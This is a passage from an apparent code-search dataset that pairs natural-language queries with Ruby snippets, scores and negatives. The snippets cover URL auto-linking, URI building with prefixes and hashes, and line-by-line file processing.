html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n trailing_gt = \"\"\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/\\-=;]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n # don't include trailing &gt; entities as part of the URL\n trailing_gt = $& if href.sub!(/&gt;$/, '')\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n link_text = sanitize(link_text)\n href = sanitize(href)\n end\n content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('') + trailing_gt.html_safe\n end\n end\n end", "def sexy(body)\n body.gsub(URL_MATCHER, link_to(\"http://\\\\2\", \"http://\\\\2\", :target => \"_blank\"))\n end", "def strip_blanks\n self.link = self.link.strip\n end", "def show_super_search_links_on_index\n false \n end", "def auto_link_urls_custom(text, href_options = {})\n options = href_options.dup\n options[:rel] = \"nofollow\" unless options.delete(:suppress_no_follow)\n options[:class] = options.delete(:url_class)\n\n url_entities = {}\n if options[:url_entities]\n options[:url_entities].each do |entity|\n entity = entity.with_indifferent_access\n url_entities[entity[:url]] = entity\n end\n options.delete(:url_entities)\n end\n\n html_attrs = html_attrs_for_options(options)\n\n Twitter::Rewriter.rewrite_urls(text) do |url|\n href = if options[:link_url_block]\n options.delete(:link_url_block).call(url)\n else\n html_escape(url)\n end\n\n display_url = url\n if url_entities[url] && url_entities[url][:display_url]\n display_url = url_entities[url][:display_url]\n end\n\n %(<a href=\"#{href}\"#{html_attrs}>#{html_escape(display_url)}</a>)\n end\n end", "def fixup_url\n unless @view.app.url.starts_with?('http')\n unless @view.app.url.starts_with?('www')\n @view.app.url = 'www.' << @view.app.url\n end\n @view.app.url = 'http://' << @view.app.url\n end\n @view.app.url\n end", "def remove_url_anchor(url)\n url.gsub(/\\#.*$/, '')\nend", "def link_urls(tweet)\n tweet.gsub(/([A-Z]+:\\/\\/[^\\s]+)/i, '<a href=\"\\1\">\\1</a>')\n end", "def clear_link(skip_requesting = false)\n link.skip_requesting = skip_requesting\n self.link = nil\n end", "def turn_bare_urls_into_links(str)\n Rinku.auto_link(str) do |text|\n \"<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i>&nbsp;#{text}\"\n end\n end", "def reformat_link\n reg = /^https?:\\/\\//\n link = self.link\n if link.present? && !link.match(reg)\n link.insert(0,\"http://\")\n end\n self.link = link\n end", "def unlink(text)\n return text.html_safe if text =~ /<a / # They already linked it.\n text.gsub(URI::ABS_URI) { |match|\n if match.size < 20\n \"<a href=\\\"#{match}\\\">#{match}</a>\"\n else\n host = URI::parse(match).host\n \"<a href=\\\"#{match}\\\">#{host}</a>\"\n end\n }.html_safe\n end", "def force!\n force = session[:force_url]\n session[:force_url] = nil\n force\n end", "def add_http_to_url\n if !self.website_url.blank?\n unless self.website_url[/\\Ahttp:\\/\\//] || self.website_url[/\\Ahttps:\\/\\//]\n self.website_url = \"http://#{self.website_url}\"\n end\n end\n end", "def get_internal_links(doc)\n doc.internal_full_links\n .map(&:without_anchor) # Because anchors don't change page content.\n .uniq\n .reject do |link|\n ext = link.to_extension\n ext ? !%w[htm html].include?(ext) : false\n end\n end", "def send_early_hints(links); end", "def remove_urls(text)\n text.gsub!(/#{URI::regexp}/, '')\n text\n end", "def auto_link(text, options = {}, &block)\n auto_link_entities(text, Extractor.extract_entities_with_indices(text, :extract_url_without_protocol => false), options, &block)\n end", "def i_see_link(opts = nil)\n assert has_link?(opts), __last_because + \" (dont see link <a #{opts.inspect})\"\n end", "def strip_external_links(text)\n link_stripper = Loofah.fragment(text)\n\n link_stripper.scrub!(Loofah::Scrubber.new do |node|\n next unless node.name == 'a'\n\n begin\n uri = URI(node['href'].to_s.strip)\n rescue URI::InvalidURIError\n node.replace(node.inner_text)\n next\n end\n\n next if uri.relative?\n\n domain = ActionDispatch::Http::URL.extract_domain(\n uri.host.to_s, ActionDispatch::Http::URL.tld_length\n )\n\n node.replace(node.inner_text) unless domain == request.domain\n end)\n\n link_stripper.inner_html\n end", "def should_not_include_noreferrer?\n config = @target_blank_config\n case config\n when nil, NilClass\n false\n else\n noreferrer = config.fetch(\"noreferrer\", true)\n if noreferrer == false\n return true\n else\n return false\n end\n end\n end", "def remove_url_anchor(url)\n result = ''\n url.each_char do |char|\n break if char == '#'\n result << char\n end\n result\nend", "def auto_link(text, options = {})\n auto_link_usernames_or_lists(\n auto_link_urls_custom(\n auto_link_hashtags(text, options),\n options),\n options)\n end", "def url_whitelist; end", "def link_self; end", "def relative_permalinks_are_deprecated; end", "def link\n '-'\n end", "def clean_url\n return # Not yet implemented\n end", "def skip_links_like(*patterns)\n @skip_link_patterns.concat [patterns].flatten.compact.map { |x| x.source }\n self\n end", "def skip_links_like(*patterns)\n @skip_link_patterns.concat [patterns].flatten.compact.map { |x| x.source }\n self\n end", "def skip_links_like(*patterns)\n @skip_link_patterns.concat [patterns].flatten.compact.map { |x| x.source }\n self\n end", "def remove_links(block)\n inline_block = block.gsub(LINK_PATTERN) do |s|\n url = URL_PATTERN.match(s)[2]\n extension = File.extname(url)\n /\\.js|\\.css/.match(extension) && !URI.parse(url).absolute? ? '' : s\n end\n inline_block\n end", "def linkify(str)\n\t\t\tstr.gsub( %r{http://[^\"\\s]+} ) do |url|\n\t\t\t\tshort = url.gsub(%r{^.*#{Regexp.quote(request.host_with_port)}}, '')\n \t\t\"<a href='#{url}'>#{short}</a>\"\n\t\t\tend\n\tend", "def clear_backlinks\n @backlinks = []\n end", "def href; end", "def links; end", "def links; end", "def link_sanitizer=(_arg0); end", "def link_sanitizer=(_arg0); end", "def link_sanitizer=(_arg0); end", "def non_http\n @non_http ||= all.select { |link| link !~ /^http(s)?:\\/\\//i}\n end", "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end", "def fix_bjc_r_links\n return unless self.html\n self.html = self.html.gsub('=\"/bjc-r', '=\"https://bjc.edc.org/bjc-r')\n end", "def initialize(opts={})\n super opts.merge(escape_html: true)\n\n @no_links = opts.fetch(:no_links, false)\n end", "def self_link\n nil\n end", "def skip_links_like(*patterns)\n @skip_link_patterns.concat [patterns].flatten.compact\n self\n end" ]
[ "0.73262614", "0.7054189", "0.68969154", "0.66482574", "0.663192", "0.6608967", "0.6462471", "0.6454002", "0.6426111", "0.64056444", "0.63993037", "0.6385632", "0.6370344", "0.63682795", "0.62857306", "0.62850344", "0.62417364", "0.62333274", "0.62333274", "0.62333274", "0.6223557", "0.61961484", "0.61634237", "0.6157853", "0.6157853", "0.6157853", "0.6151323", "0.6131164", "0.61197597", "0.6119576", "0.61005336", "0.60964966", "0.609041", "0.60876906", "0.6067388", "0.6056321", "0.6042137", "0.60377246", "0.6032218", "0.6015988", "0.5995141", "0.5982287", "0.59730935", "0.5965256", "0.59327614", "0.5898454", "0.5898085", "0.5885087", "0.5885087", "0.58720905", "0.58338225", "0.58229995", "0.58210826", "0.5820762", "0.5814835", "0.58088255", "0.5797351", "0.57941055", "0.5787702", "0.57850057", "0.578315", "0.57671577", "0.57557166", "0.57431644", "0.5737319", "0.57349664", "0.5713127", "0.5702872", "0.5689274", "0.56827146", "0.5674147", "0.5669915", "0.56672", "0.56419975", "0.5615168", "0.5606318", "0.5602942", "0.5602096", "0.5598654", "0.55952847", "0.5589823", "0.55831975", "0.5571048", "0.5567999", "0.5567999", "0.5567999", "0.55456245", "0.5524384", "0.55161524", "0.551538", "0.5514682", "0.5514682", "0.5514622", "0.5514622", "0.5514012", "0.551361", "0.55102634", "0.55061233", "0.5496208", "0.549608", "0.5488335" ]
0.0
-1
create a uri with prefix and hash of the address
def uri uri_prefix + Digest::MD5.hexdigest(self.address) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_uri\n end", "def build_uri(uri)\n return uri if @region.nil? && @edge.nil?\n\n parsed_url = URI(uri)\n pieces = parsed_url.host.split('.')\n product = pieces[0]\n domain = pieces[-2, 2]\n new_edge = @edge\n new_region = @region\n\n case pieces.length\n when 4\n new_region ||= pieces[1]\n when 5\n new_edge ||= pieces[1]\n new_region ||= pieces[2]\n end\n\n new_region = @@default_region if !new_edge.nil? && new_region.nil?\n\n parsed_url.host = [product, new_edge, new_region, domain].reject(&:nil?).join('.')\n parsed_url.to_s\n end", "def build_uri\n print \"building uri object...\"\n @uri = URI::HTTP.build({\n :host => \"lb.#{@datacenter}.reachlocal.com\",\n :path => \"\",\n :port => \"\",\n :scheme => \"http\",\n :fragment => \"\"\n })\n print \"done!\\n\"\n end", "def uri\n \"http://example.com#{base_path}#{anchor}\"\n end", "def construct_url(uri)\n \"#{uri.scheme}://#{uri.host}#{uri.path}\"\n end", "def uri\n URI.new :scheme => scheme,\n :host => host,\n :path => path,\n :query => query\n end", "def make_absolute_uri(hash={})\n @urigen.make_absolute_uri(hash)\n end", "def make_relative_uri(hash={})\n @urigen.make_relative_uri(hash)\n end", "def uri( new_uri=nil )\n\t\tif new_uri\n\t\t\t@uri = URI( new_uri )\n\t\t\t@uri.host ||= self.addresses.first.to_s\n\n\t\t\tself.app_protocol( @uri.scheme )\n\t\t\tself.port( @uri.port )\n\t\tend\n\n\t\treturn @uri.to_s\n\tend", "def build_uri\n # Validate the scheme.\n scheme = build_scheme.upcase\n raise UnresolvableResourceError, 'scheme must be http or https' if scheme!='HTTP' && scheme!='HTTPS'\n \n # Build and normalize the URI.\n URI.const_get(scheme).\n build2(host: build_host, port: build_port(scheme), userinfo: build_userinfo, path: build_path, query: build_query).\n normalize\n end", "def create_uri url\n uri = URI.parse url\n uri.user = @login\n uri.password = @password\n uri\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def to_uri\n uri_class = ::URI.const_get scheme.upcase\n uri_class.build host: host, path: path\n end", "def build_uri(uri = nil)\n if uri.nil?\n \"#{@path}\"\n else\n [\"#{@path}\", uri].join(\"/\")\n end\n end", "def full_uri\n \"#{host_uri}#{uri}\"\n end", "def to_uri\n build_uri\n end", "def build_uri\n uri = URI(\"#{Phantomblaster::API_URL}#{path}\")\n query = build_query(uri, args)\n uri.query = query\n uri\n end", "def build_uri(command = '')\n uri_to_parse = @node +'/1.1/'+ @user_obj.encrypted_login\n uri_to_parse += \"/#{command}\" unless command == ''\n URI.parse(uri_to_parse)\n end", "def uri_hash # :nodoc:\n require_relative '../openssl'\n\n normalized =\n if @repository =~ %r{^\\w+://(\\w+@)?}\n uri = URI(@repository).normalize.to_s.sub %r{/$},''\n uri.sub(/\\A(\\w+)/) { $1.downcase }\n else\n @repository\n end\n\n OpenSSL::Digest::SHA1.hexdigest normalized\n end", "def uri_hash # :nodoc:\n normalized =\n if @repository =~ %r%^\\w+://(\\w+@)?% then\n uri = URI(@repository).normalize.to_s.sub %r%/$%,''\n uri.sub(/\\A(\\w+)/) { $1.downcase }\n else\n @repository\n end\n\n Digest::SHA1.hexdigest normalized\n end", "def create_uri(url, parms)\n uri = URI(url)\n uri.query = URI.encode_www_form(parms)\n uri\nend", "def build_request_uri(uri, params, container)\n newuri = uri.clone # don't modify uri template\n # We call uri.clone b/c we modify uri. \n uri.scan(/([:\\$])([a-z_]+)/i) do |inst|\n val = find_replacement_value(inst[1], params, container, base_uri)\n Stella.ld \"FOUND VAR: #{inst[0]}#{inst[1]} (value: #{val})\"\n re = Regexp.new \"\\\\#{inst[0]}#{inst[1]}\"\n newuri.gsub! re, val.to_s unless val.nil?\n end\n\n uri = URI.parse(newuri)\n \n if uri.host.nil? && base_uri.nil?\n Stella.abort!\n raise NoHostDefined, uri\n end\n \n uri.scheme = base_uri.scheme if uri.scheme.nil?\n uri.host = base_uri.host if uri.host.nil?\n uri.port = base_uri.port if uri.port.nil?\n uri.path ||= ''\n uri.path.gsub! /\\/$/, '' # Don't double up on the first slash\n \n uri\n end", "def build_uri(base_uri, rest_path)\n if server.options[:single_org]\n # Strip off /organizations/chef if we are in single org mode\n if rest_path[0..1] != [ 'organizations', server.options[:single_org] ]\n raise \"Unexpected URL #{rest_path[0..1]} passed to build_uri in single org mode\"\n else\n \"#{base_uri}/#{rest_path[2..-1].join('/')}\"\n end\n else\n \"#{base_uri}/#{rest_path.join('/')}\"\n end\n end", "def +(suffix)\n prefix = @uri.to_s\n prefix += '#' if @fragment && !prefix.index(\"#\")\n suffix = suffix.to_s.sub(/^\\#/, \"\") if prefix.index(\"#\")\n suffix = suffix.to_s.sub(/_$/, '')\n URIRef.new(prefix + suffix, :normalize => false, :namespace => self)\n end", "def build_uri(from, to)\n uri = URI::HTTPS.build(\n :host => SERVICE_HOST,\n :path => SERVICE_PATH,\n :query => \"q=#{from.iso_code}_#{to.iso_code}&compact=y&apiKey=#{ENV['CURRENCY_CONVERTER_API_KEY']}\"\n )\n end", "def build_url(path, params={})\n full_path = @uri.path + path\n full_url = \"#{@uri.scheme}://#{@uri.host}\"\n full_url += \":#{@uri.port}\" if @uri.port\n full_url += super(full_path, params, @uri.query)\n end", "def build_uri(path)\n path = path.to_s\n unless path.match(/^\\//)\n path = \"/#{path}\"\n end\n base_uri + path\n end", "def to_uri\n\"urn:uuid:\" + self.to_s\nend", "def uri\n self + \"\"\n end", "def uri\n self + \"\"\n end", "def build_uri(resource)\n URI(\"#{API_URL}/#{resource}\")\n end", "def create_uri(fake_method, **kwargs)\n @uri_part += kwargs ? kwargs.map {|k, v| \"/#{k}/#{v}\"}.join : ''\n \"api/#{fake_method}#{@uri_part}/xml\"\n end", "def uri(addr = nil, absolute = true, add_script_name = true)\n addr = addr.to_s if addr\n return addr if addr =~ /\\A[A-z][A-z0-9\\+\\.\\-]*:/\n uri = if absolute\n h = if @env.has_key?(\"HTTP_X_FORWARDED_HOST\") || port != (ssl? ? 443 : 80)\n host_with_port\n else\n host\n end\n [\"http#{'s' if ssl?}://#{h}\"]\n else\n ['']\n end\n uri << script_name.to_s if add_script_name\n uri << (addr || path_info)\n File.join(uri)\n end", "def build_as_url\n URI(build_as_string)\n rescue Urb::InvalidUrl => e\n URI('/')\n end", "def reconstruct_uri\n servers = @servers.join(',')\n options = options_mapper.ruby_to_string(@uri_options).map do |k, vs|\n unless vs.nil?\n if vs.is_a?(Array)\n vs.map { |v| \"#{k}=#{v}\" }.join('&')\n else\n \"#{k}=#{vs}\"\n end\n end\n end.compact.join('&')\n\n uri = \"#{scheme}#{SCHEME_DELIM}\"\n uri += @user.to_s if @user\n uri += \"#{AUTH_USER_PWD_DELIM}#{@password}\" if @password\n uri += \"@\" if @user || @password\n uri += @query_hostname || servers\n uri += \"/\" if @database || !options.empty?\n uri += @database.to_s if @database\n uri += \"?#{options}\" unless options.empty?\n uri\n end", "def build_uri(from, _to, args = {})\n if args[:exchanged_at]\n path = \"/api/#{args.fetch(:exchanged_at)}\"\n else\n path = \"/api/latest\"\n end\n\n query = {base: from.iso_code}\n query[:access_key] = ENV[\"FIXER_IO_API_KEY\"] if ENV[\"FIXER_IO_API_KEY\"]\n\n URI::HTTP.build(\n host: \"data.fixer.io\",\n path: path,\n query: URI.encode_www_form(query)\n )\n end", "def create_address_book(principal_uri, url, properties)\n end", "def create_url\n uri = Addressable::URI.new\n uri.query_values = properties\n \"#{ BASE_URI }#{ Hubspotter.configuration.portal_id }#{ create_endpoint }#{ uri.query }\"\n end", "def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end", "def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end", "def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end", "def url(*args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n fragment = params.delete(:fragment) || params.delete(:anchor)\n path = make_path_with_params(args, value_to_param(params))\n rebase_url(fragment ? path << '#' << fragment.to_s : path)\n end", "def uri\n \"http://#{hostname}:#{port}#{path}\"\n end", "def uri\n uri_for({}, nil)\n end", "def _uri(uri, absolute = false, format = \"do\")\n return absolute ? \"#{uri}.#{format}\" : \"#{uri_prefix}#{uri ? uri : ''}.#{format}\"\n end", "def make_uri(namespaces, base_uri, value)\n if value.nil?\n return nil\n elsif value =~ /^\\[.*\\]$/\n return curie_to_uri(namespaces, value[1,value.length-2])\n else\n u = URI.parse(value)\n return (u.relative? and base_uri ) ? base_uri + u : u\n end\n end", "def to_base\n return nil unless @uri.scheme && @uri.host\n\n base = \"#{@uri.scheme}://#{@uri.host}\"\n Wgit::Url.new(base)\n end", "def uri\n \"#{@@config[:base_uri]}#{id}\"\n end", "def url(prefix, stem)\n if prefix == ''\n \"/#{stem}/#{self.id}\"\n else\n \"#{prefix}/#{stem}/#{self.id}\"\n end\n end", "def uri (name,default=\"\")\n \n name=name.to_s\n #FIXME: bad urls (for example just www.example.com will produce an endless-loop\n if name.try(:include?, \"://\")\n return name[0..name.length-2] if name[-1,1]==\"/\"\n return name[0..name.length]\n else\n name +=\"/\" unless (name[name.length-1..name.length-1] == (\"/\" || \"#\")) || name.try(:include?, \":\")\n\n if name.index(\":\") \n t= @object_namespaces[name.split(\":\")[0].to_sym]\n t ||=\"\"\n t += \"/\" unless (t[t.length-1..t.length-1] == (\"/\" || \"#\") || t.blank?) || name.try(:include?, \":\")\n return uri( t+ normalize_local_name(name.split(\":\")[1])+\"/\")\n else \n t= default.blank? ? @base_uri : default\n t += \"/\" unless t[t.length-1..t.length-1]==\"/\"\n return uri( t + normalize_local_name(name))\n end\n end\n end", "def uri\n N::URI.new(self[:uri])\n end", "def uri\n N::URI.new(self[:uri])\n end", "def to_addressable_uri\n @uri\n end", "def url(uri=nil)\n @uri = Addressable::Template.new(uri.gsub(/:(?![0-9])(\\w+)/) { \"{#{$1}}\" }) unless uri.nil?\n @uri\n end", "def generate_new_location_uri\n raise NotImplementedError\n end", "def build_uri(base_uri, url)\n uri = URI(url)\n unless uri.host\n uri = base_uri.merge(url)\n end\n uri\n rescue => ex\n nil\n end", "def uri\n \"#{base_uri}#{path}\"\n end", "def prepare_uri path\n \"#{@uri}/accounts/#{@client.account}#{path}\"\n end", "def build_uri\n URI.parse(base_url + \"?\" + query_params)\n end", "def to_base\n return nil if @uri.scheme.nil? || @uri.host.nil?\n\n base = \"#{@uri.scheme}://#{@uri.host}\"\n Wgit::Url.new(base)\n end", "def set_uri(base, path)\n @uri = \"#{base}/#{path}/#{self.identifier}\"\n end", "def +(suffix)\n prefix = @uri\n suffix = suffix.to_s.sub(/^\\#/, \"\") if prefix.index(\"#\")\n suffix = suffix.to_s.sub(/_$/, '')\n URIRef.intern(prefix + suffix.to_s, :normalize => false, :namespace => self)\n end", "def to_endpoint\n endpoint = @uri.path\n endpoint = '/' + endpoint unless endpoint.start_with?('/')\n Wgit::Url.new(endpoint)\n end", "def to_endpoint\n endpoint = @uri.path\n endpoint = '/' + endpoint unless endpoint.start_with?('/')\n Wgit::Url.new(endpoint)\n end", "def uri_for(uri_or_path, params = nil)\n if uri_or_path.kind_of? URI\n u = uri_or_path.dup\n\n u.host = @uri.host\n u.port = @uri.port\n u.scheme = @uri.scheme\n else\n u = uri.dup\n u.path = File.join(uri.path, uri_or_path)\n end\n\n u.query = query_string_for(params) if params\n u.to_s\n end", "def build_log_uri(base_uri, loc_file)\n scheme, userinfo, host, port, registry, path, opaque, query, fragment = URI.split(URI::DEFAULT_PARSER.escape(base_uri))\n\n # Convert encoded spaces back to spaces\n path.gsub!('%20', ' ')\n\n relpath = relative_path_for_upload(loc_file)\n new_path = File.join(\"/\", path, relpath)\n uri = URI::HTTP.new(scheme, userinfo, host, port, registry, new_path, opaque, query, fragment).to_s\n _log.info(\"New URI: [#{uri}] from base: [#{base_uri}], and relative path: [#{relpath}]\")\n uri\n end", "def uri!\n @uri = URI.parse \"#{@config.http_scheme}://#{@config.host}:#{@config.port}/api/#{@config.api_version}/\"\n end", "def generate_new_location_uri\n candidate = nil\n loop do\n candidate = uri_prefix + pid_generator.next_pid\n break unless exists?(candidate)\n end\n candidate\n end", "def build_uri(from, to)\n from, to = Currency.wrap(from), Currency.wrap(to)\n raise NoApiKey if api_key.nil? || api_key.empty?\n uri = URI::HTTP.build(\n :host => SERVICE_HOST,\n :path => SERVICE_PATH,\n :query => \"from=#{from.iso_code}&to=#{to.iso_code}&apiKey=#{api_key}\"\n )\n end", "def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end", "def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end", "def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end", "def url_for(*args)\n options = args.extract_options!.with_indifferent_access\n # leading colon\n port = options[:port].blank? ? nil : \":#{options[:port]}\"\n # leading question mark\n query = options[:query].blank? ? nil : \"?#{options[:query]}\"\n # leading octothorpe\n fragment = options[:fragment].blank? ? nil : \"##{options[:fragment]}\"\n URI(\"#{url_scheme}://#{fqdn}#{port}#{app_root}#{options[:path]}#{query}#{fragment}\")\n end", "def uri=(_arg0); end", "def uri=(_arg0); end", "def uri=(_arg0); end", "def uri=(_arg0); end", "def square_uri\n square_params\n uri\n end", "def to_relative_uri\n build_uri.route_from base_value\n end", "def uri_for(prefix)\n if namespaces_by_prefix().has_key?(prefix)\n namespaces_by_prefix()[prefix].href\n end\n end", "def uri_builder(path = nil)\n base = \"http://#{endpoint}/index.php/worker\"\n path.nil? ? base : File.join(base, path)\n end", "def uri_template\n return @uri_template ||= Addressable::Template.new(\n self.method_base.join(Addressable::URI.parse(@discovery_document['path']))\n )\n end", "def _uri_template\n @uri_template ||= Addressable::Template.new(@link['href'])\n end", "def to_anchor\n anchor = @uri.fragment\n anchor ? Wgit::Url.new(\"##{anchor}\") : nil\n end", "def build_uri_path(path, params)\n path + handle_params(params)\n end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def ssh_uri\n unless @uri.host\n raise(InvalidConfig,\"URI does not have a host: #{@uri}\",caller)\n end\n\n new_uri = @uri.host\n new_uri = \"#{@uri.user}@#{new_uri}\" if @uri.user\n\n return new_uri\n end", "def uri_host; end", "def make_url(dav_uri, mailbox)\n \"#{dav_uri}/#{mailbox}/\"\n end", "def uri(string)\n return if string.blank?\n\n string = URI(string) unless string.is_a?(URI)\n\n # Rewrite host if necessary\n return string unless MetalArchives.config.endpoint\n\n endpoint = URI(MetalArchives.config.endpoint)\n\n string\n .tap { |u| u.host = endpoint.host }\n .tap { |u| u.scheme = endpoint.scheme }\n .tap { |u| u.port = endpoint.port }\n end", "def make_request_uri(uri, opts); end", "def router_uri_prefix\n @router_uri_prefix ||= begin\n u = respond_to?(:uri) ? uri : nil\n u && u.chomp('/')\n end\n end", "def build_url(path, params={})\n full_path = @uri.path + path\n\n super full_path, params, @uri.query\n end", "def uri\n 'http://%s:%d' % [host, port]\n end", "def +(suffix)\n URIRef.new((fragment ? \"##{suffix}\" : suffix.to_s), @uri)\n end", "def create_url(parameters)\n # \"/badges/add/:as\n path = uri_path\n if path =~ /:/\n # [\"\", \"badges\", \"add\", \":as\"]\n parts = path.split('/')\n path = \"\"\n parts.each do |part|\n next if part == \"\" or part.nil?\n path << '/'\n if part =~ /:/\n part_name = /:(.*)/.match(part)[1]\n # parameters[:as]\n part = parameters[part_name.to_sym]\n end\n path << part\n end\n end\n url = \"#{Kickit::Config.rest_base_uri}#{path}\"\n end", "def uri\n if host && !request_uri.host\n request_uri.dup.tap do |uri|\n uri.scheme = 'http'\n uri.host = host\n end\n else\n request_uri\n end\n end", "def build_url(query_params: nil)\n url = [add_version(''), *@url_path].join('/')\n url = build_query_params(url, query_params) if query_params\n URI.parse(\"#{@host}#{url}\")\n end", "def generate_base_uri request, set=nil\n b_uri= uri request.env['REQUEST_URI'].to_s[0..-request.env['PATH_INFO'].length]\n @base_uri = b_uri if set\n b_uri\n end" ]
[ "0.7466742", "0.72674334", "0.7150649", "0.7096401", "0.70315844", "0.68572295", "0.6830236", "0.67291194", "0.6698104", "0.6697446", "0.66700625", "0.66591734", "0.66591734", "0.662171", "0.6602459", "0.6564329", "0.648367", "0.64670515", "0.64364815", "0.64042497", "0.6390019", "0.63435423", "0.6338177", "0.63199466", "0.6312447", "0.6311989", "0.6305847", "0.6279091", "0.62747943", "0.6272664", "0.6272664", "0.6259304", "0.6246175", "0.62408173", "0.62338316", "0.62292063", "0.62291515", "0.6218772", "0.6194423", "0.6191383", "0.6191383", "0.6191383", "0.61894727", "0.61644804", "0.61597127", "0.6151289", "0.61503965", "0.61403185", "0.60854703", "0.6082874", "0.6078543", "0.60761523", "0.60761523", "0.6068356", "0.606254", "0.6061298", "0.6053653", "0.6035845", "0.60185003", "0.6016025", "0.60144365", "0.6008058", "0.6007491", "0.60063815", "0.60063815", "0.59988135", "0.5993998", "0.599368", "0.59926987", "0.59910953", "0.59885395", "0.59885395", "0.59885395", "0.59779114", "0.5970656", "0.5970656", "0.5970656", "0.5970656", "0.59547395", "0.59463936", "0.5937331", "0.5936336", "0.5925841", "0.5907944", "0.5900404", "0.58887166", "0.5874029", "0.5858925", "0.584387", "0.5837828", "0.5828322", "0.5820484", "0.5819911", "0.58191043", "0.58142126", "0.58083004", "0.5794509", "0.5790321", "0.5786406", "0.57800215" ]
0.75669867
0
process each line in the file
def process_line(line) # get the details from each line elements = line.split(';').each { |e| e.strip! } name = elements[0] address = elements[1] phone = elements[2] fax = elements[3] email = elements[4] # get the postcode from the address temp = address.split(',').each { |e| e.strip! } postcode = temp.last # remove the period if (postcode.end_with?(".")) postcode = postcode[0..-2] end #lookup the latitude and longitude from the postcode point = PostCodeLookup.new(postcode.sub(/ /, '')).lookup location = LibraryLocation.new($bcc_library, name, address, point) @@address_list << location end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def process_lines(input_file)\n for line in input_file\n process_line(line)\n end\n end_of_file\n end", "def process_input_file \n File.open(@file, 'r') do |f|\n f.each_line do |line|\n parse_line(line)\n end\n end\n end", "def each(&block)\n File.open(@filename).each do |line|\n yield(line.chomp)\n end\n end", "def process_file\n @line_lengths = []\n @total_lines = 0\n\n Rails.logger.info(\"Begin processing file: #{@file_path}\" )\n\n time = Benchmark.realtime do\n File.open(@file_path, \"r\") do |file|\n loop do\n line = file.gets(\"\\n\")\n break if line.nil?\n @line_lengths[@total_lines] = line.length\n @total_lines += 1\n end\n end\n end\n\n Rails.logger.info(\"File processing done, duration: #{time}\" )\n end", "def each_line\n while line = self.gets do\n yield line\n end\n end", "def line_processor\n open(\"tmp/insert_YourFileName_lines.txt\") do |f|\n f.each do |line| \n unless line =~ /^$/\n puts line.to_s.to_textual\n end\n end\n end\n \nend", "def parse_file\n filename = full_path_from_edict_file(@config[\"filename\"])\n ### Get all the line into memory\n file_obj = File.new(filename, \"r\")\n file_obj.each do |line|\n @added_lines.push line\n end\n end", "def proccess_lines(input)\n CSV.foreach(input, headers: true, header_converters: :symbol) do |row|\n line_parser = LineParser.new(row)\n\n if line_parser.valid?\n output_file << line_parser.to_csv\n elsif !line_parser.empty?\n error_file << line_parser.to_csv\n end\n end\n end", "def process_input_file file_name\n\tFile.open(file_name, \"r\").each_line do |line|\n\t\tobj=MerchantGuideToGalaxy.new(line)\n\t\tobj.compute_line\n\tend\nend", "def process_file(file_name)\n\tbegin\n\t\tFile.foreach(file_name, encoded: 'ASCII') do |line|\n\t\t\t\tprocess_line(line)\n\t\tend\n\trescue\n\t\tSTDERR.puts \"Could not open file, #{$!}\"\n\t\texit 4\n\tend\nend", "def each_line(*args, &block)\n IO.foreach(@path, *args, &block)\n end", "def process_file_handle f\n begin\n line = f.readline\n rescue EOFError\n line = nil\n end\n while line\n process_line(line)\n begin\n # FIXME -- this call to File#readline blocks and doesn't let\n # stuff like SIGINT (generated from Ctrl-C on a keyboard,\n # say) take affect.\n line = f.readline\n rescue EOFError\n line = nil\n end\n end\n end", "def do_it_lines\n open(file_name).each {|x| p x; }\n end", "def parse_file(file)\n\n\n File.readlines(file).each do |line|\n command = parse_command(line)\n end\n # File.readlines(file).each do |line|\n # command = parse_command(line)\n # apply_command(command)\n end", "def analyze_file\n line_number = 0\n File.foreach('test.txt') do |line|\n @analyzers << LineAnalyzer.new(line.chomp, line_number += 1)\n end\n end", "def each\n\t\t\n\t\t# Save States that this affects, and set them to defaults\n\t\tstates = [@lineno, @filelineno, @filename]\n\t\t@lineno = 0;\n\t\t\n\t\t# Read every line walking through the files\n\t\t@files.each do |filename|\n\t\t\t\n\t\t\t# Setup States Per File\n\t\t\t@filename = filename\n\t\t\t@filelineno = 0\n\t\t\tstream = STDIN\n\t\t\tstream = File.open(filename) unless filename == '-'\n\t\t\t\n\t\t\t# Read Lines\n\t\t\twhile line = stream.gets\n\t\t\t\t@lineno += 1\n\t\t\t\t@filelineno += 1\n\t\t\t\tyield line\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\t\t# Restore the original states\n\t\t@lineno, @filelineno, @filename = states\n\t\t\n\tend", "def process_externals_lines\n File.open(file_name, \"r\") do |f|\n #File.open(\"./lib/externals/externals_table_data_input_lines.txt\", \"r\") do |f|\n f.each_line do |line|\n puts line.to_textual\n sleep(0.01)\n end\n end\n end", "def each\n @theLines.each { |s| yield s }\n end", "def process(lines, filename=\"stdio\")\n line_number = 1\n lines.each_line do |line|\n Command.process(line, filename, line_number)\n line_number += 1\n increment_progress_bar\n end\n end", "def handle_inputs_from_file file_path\n File.open(file_path) do |file|\n file.lazy.each_slice(500) do |input_lines|\n 